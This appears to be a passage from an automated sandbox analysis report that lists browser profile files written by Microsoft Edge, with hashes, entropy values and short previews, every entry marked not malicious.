SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.162370209852149
Encrypted:	false
SSDEEP:	6:HG+MTL+q2PN723oH+Tcwt8NIFUt8YG+MT7Zmw+YG+MsFUtVkwON723oH+Tcwt8+Q:VvVaYebpFUt8j/+oFA5OaYebqJ
MD5:	10BF2BB5FCF17EF908E02CABB7761D94
SHA1:	1E3C1DC2F587DF47B52ADB8979F93CCC7014D970
SHA-256:	C6004EF2C5CF1ADB00C8BFB32737DA0DF27DD84030B2AC504EAB8861CEB75CFD
SHA-512:	8E039960C3D4D31688E59C7A540ED58E43A1DCDBF55A6E393357AD176B624585BCC2CAB005D8E3518F82023C4BDA6BB61D0AF19F3A11651B35FEF3B97068081C
Malicious:	false
Preview:	2024/11/23-22:20:36.359 14d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/23-22:20:36.359 14d8 Recovering log #3.2024/11/23-22:20:36.360 14d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.162370209852149
Encrypted:	false
SSDEEP:	6:HG+MTL+q2PN723oH+Tcwt8NIFUt8YG+MT7Zmw+YG+MsFUtVkwON723oH+Tcwt8+Q:VvVaYebpFUt8j/+oFA5OaYebqJ
MD5:	10BF2BB5FCF17EF908E02CABB7761D94
SHA1:	1E3C1DC2F587DF47B52ADB8979F93CCC7014D970
SHA-256:	C6004EF2C5CF1ADB00C8BFB32737DA0DF27DD84030B2AC504EAB8861CEB75CFD
SHA-512:	8E039960C3D4D31688E59C7A540ED58E43A1DCDBF55A6E393357AD176B624585BCC2CAB005D8E3518F82023C4BDA6BB61D0AF19F3A11651B35FEF3B97068081C
Malicious:	false
Preview:	2024/11/23-22:20:36.359 14d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/23-22:20:36.359 14d8 Recovering log #3.2024/11/23-22:20:36.360 14d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21861961848037045
Encrypted:	false
SSDEEP:	3:LlR9tFlljq7A/mhWJFuQ3yy7IOWUNstdweytllrE9SFcTp4AGbNCV9RUIXMp:G75fOktd0Xi99pEYpMp
MD5:	3A9FB7025ACC6E7E5BF8079084D4E152
SHA1:	E5BF77DB52CC2B2B70E80E892FCC10F5F30C6FD6
SHA-256:	21C2B22B53969C9A481D8593D66B542D91A191733622D8539021425D44B27ACF
SHA-512:	B4D53D1E70EDEC0AED6C3E6766384F247CA3A3569807CEFFD0195267A4D9ED6B4604511F365F6F4F82F16AE9800FF15AF7B8D4709DF7AC95C146565F2C226D4D
Malicious:	false
Preview:	............u..L...&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 11, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	3.918087420116767
Encrypted:	false
SSDEEP:	384:jj9P0HcSQkQerE773pLRjlkgam6IkP/Kbt/RKToaADhf:jdhSe2E7PlbUP/iRKc39
MD5:	BF8E26A7BC633E95F75667B4E4A2FC84
SHA1:	9C67DDACEC4F8A3F4256F0553C923DB67A04D175
SHA-256:	B22F7766D492155F9904D2A44DEB62384C625241957AD54BB147A3D79DE65133
SHA-512:	EB8559767934CCBAE1E0653E6C3C5538E2693FF93F735DBBAFB5DC51648DEF2E58C5AB8A8A1877A17645FB54BADD08D9CB4BA6EC5837388AB21354700B77EF49
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.237700833567289
Encrypted:	false
SSDEEP:	12:YvVaYeb8rcHEZrELFUt8r/+55OaYeb8rcHEZrEZSJ:qVaYeb8nZrExg8iOaYeb8nZrEZe
MD5:	AE00D8D8A1A038D9B59DA6BE4D292489
SHA1:	377C62DC8EA58E6CCD442A0B9FD62707FCD88845
SHA-256:	0D48282B1F0EF167F9A9CCB1573094F4E0B33C41C106DD240887E27BE6D6E442
SHA-512:	DB6F3F9BC3D190BAF7EF470BF81F8C2F18E860E76EA8E41FAAD5796B904F6D326B50B324824AF3CE8937EBE2A6A49D1BD8BE24BE93AF83E3ADC3AD2E65E31AFF
Malicious:	false
Preview:	2024/11/23-22:20:39.207 14d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/23-22:20:39.208 14d8 Recovering log #3.2024/11/23-22:20:39.239 14d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.237700833567289
Encrypted:	false
SSDEEP:	12:YvVaYeb8rcHEZrELFUt8r/+55OaYeb8rcHEZrEZSJ:qVaYeb8nZrExg8iOaYeb8nZrEZe
MD5:	AE00D8D8A1A038D9B59DA6BE4D292489
SHA1:	377C62DC8EA58E6CCD442A0B9FD62707FCD88845
SHA-256:	0D48282B1F0EF167F9A9CCB1573094F4E0B33C41C106DD240887E27BE6D6E442
SHA-512:	DB6F3F9BC3D190BAF7EF470BF81F8C2F18E860E76EA8E41FAAD5796B904F6D326B50B324824AF3CE8937EBE2A6A49D1BD8BE24BE93AF83E3ADC3AD2E65E31AFF
Malicious:	false
Preview:	2024/11/23-22:20:39.207 14d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/23-22:20:39.208 14d8 Recovering log #3.2024/11/23-22:20:39.239 14d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1473
Entropy (8bit):	5.670648871922807
Encrypted:	false
SSDEEP:	24:oZW9Vl7Zn75jlXZpW2sFV03y1x4oXMyCW+UlHukTN5zgFHHmi28/V:oZiVn7PXZQ2iV03Sx4ocyCzW+HH328t
MD5:	2161FC31EC6FAEF1EDDA3BBE51121442
SHA1:	C222D1893DA4DE2BCE5C4825B158BA00064971FF
SHA-256:	DFC9AD85FD95C3EDA81726D0833055AD81C1DB112E54E488CE4F1CC150B0D4A8
SHA-512:	E494C6672D63833A00B85F8221E2180FC7F10A7DAE12F1DB27BD2D9B08424B84DC7A5523391F6975C3F87DD1F9D89EB7B709A97BF56F717E6412E72FD9FCCC06
Malicious:	false
Preview:	.....................VERSION.1..META:https://ntp.msn.com..............!_https://ntp.msn.com..LastKnownPV..1732418453113.-_https://ntp.msn.com..LastVisuallyReadyMarker..1732418454514.._https://ntp.msn.com..MUID!.022A54BEBDE36963130D41FFBC8168FF.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732418453196,"schedule":[4,40,38,-1,-1,-1,-1],"scheduleFixed":[4,40,38,-1,-1,-1,-1],"simpleSchedule":[38,39,42,36,18,49,24]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732418453078.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241122.365"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Sat Nov 23 2024 22:20:52 GMT-0500 (Eastern Standard

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.140093457606226
Encrypted:	false
SSDEEP:	6:HG+M9wL+q2PN723oH+Tcwt8a2jMGIFUt8YG+MfT1Zmw+YG+MqdLVkwON723oH+Tg:uwyvVaYeb8EFUt8D5/+WR5OaYeb8bJ
MD5:	A7B7365396715B894631F8F03A435B94
SHA1:	E659B49E927A8CA40CBC862FB9D3FC8F40A40EDF
SHA-256:	F98AE442640965978333178DDC34CDC809F31D446E4A319E3129E0278ACB7616
SHA-512:	7C59D695A09F433A5FB7738BA6E58A630D4B0DE4CF75AC29AE015AD3C0E07CBD843391C022BE929B5AE856C2F7A8ABD558FAEE764B9E2917242AF70420814E57
Malicious:	false
Preview:	2024/11/23-22:20:35.931 11c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/23-22:20:35.938 11c8 Recovering log #3.2024/11/23-22:20:35.944 11c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.140093457606226
Encrypted:	false
SSDEEP:	6:HG+M9wL+q2PN723oH+Tcwt8a2jMGIFUt8YG+MfT1Zmw+YG+MqdLVkwON723oH+Tg:uwyvVaYeb8EFUt8D5/+WR5OaYeb8bJ
MD5:	A7B7365396715B894631F8F03A435B94
SHA1:	E659B49E927A8CA40CBC862FB9D3FC8F40A40EDF
SHA-256:	F98AE442640965978333178DDC34CDC809F31D446E4A319E3129E0278ACB7616
SHA-512:	7C59D695A09F433A5FB7738BA6E58A630D4B0DE4CF75AC29AE015AD3C0E07CBD843391C022BE929B5AE856C2F7A8ABD558FAEE764B9E2917242AF70420814E57
Malicious:	false
Preview:	2024/11/23-22:20:35.931 11c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/23-22:20:35.938 11c8 Recovering log #3.2024/11/23-22:20:35.944 11c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\384cf1de-7ac5-483e-9d50-8188cb2f988f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\742a95b8-af85-45e4-afa1-2358be8553c2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\97b7cae7-04d6-4b62-8bcf-933fc6c5b664.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.7626091254938805
Encrypted:	false
SSDEEP:	192:tT1bWnxs4fq0c+vTK+Zd5CtXcf0L/ZJVb:V1axtfu+vTT8XI0LhJVb
MD5:	644322C45D9105B9BDDE5778312575E0
SHA1:	E25CBF9EE2FCFE82E96BCD74EAE06B8EB0086E28
SHA-256:	A03602CB93D5BAA8C28CA511093B9570D2542A5B1611BE717EC1F3E324D47DD8
SHA-512:	0338546D38C1F30A4EF003534504BB1DC97E5A48D59F327D2227F1749DF43FE50320E4E8BA9F5F71E44DD98858CBA28E95C78CC29D39A76E9CD18C979B4C2CFC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4d211.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.5346645855504684
Encrypted:	false
SSDEEP:	96:JkIEumQv8m1ccnvS6aghiKRSPIUlLhgb+D1a:+IEumQv8m1ccnvS6j6QU3nE
MD5:	ADB095FDB8054889B936B2FEAA060F2E
SHA1:	A4679342AFAC5C432889BFCE269384DCFFCE712A
SHA-256:	FF667D1673B2F7337C71C6FE4E6E74F91591A1076969C0FADC0173A5DE82104A
SHA-512:	44EA8BD5C25692B14CBEF7FE72C1896229E2C78D79E2D8C3D516F9558251E80598A7F5378C57133A51C0CC33C0A979D8BD82662BF5DFB0ACA5AF9FD581CD5FD9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3bcd9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3d8ec.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\b7efbc7c-417c-4d60-b160-d767c7ce6065.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

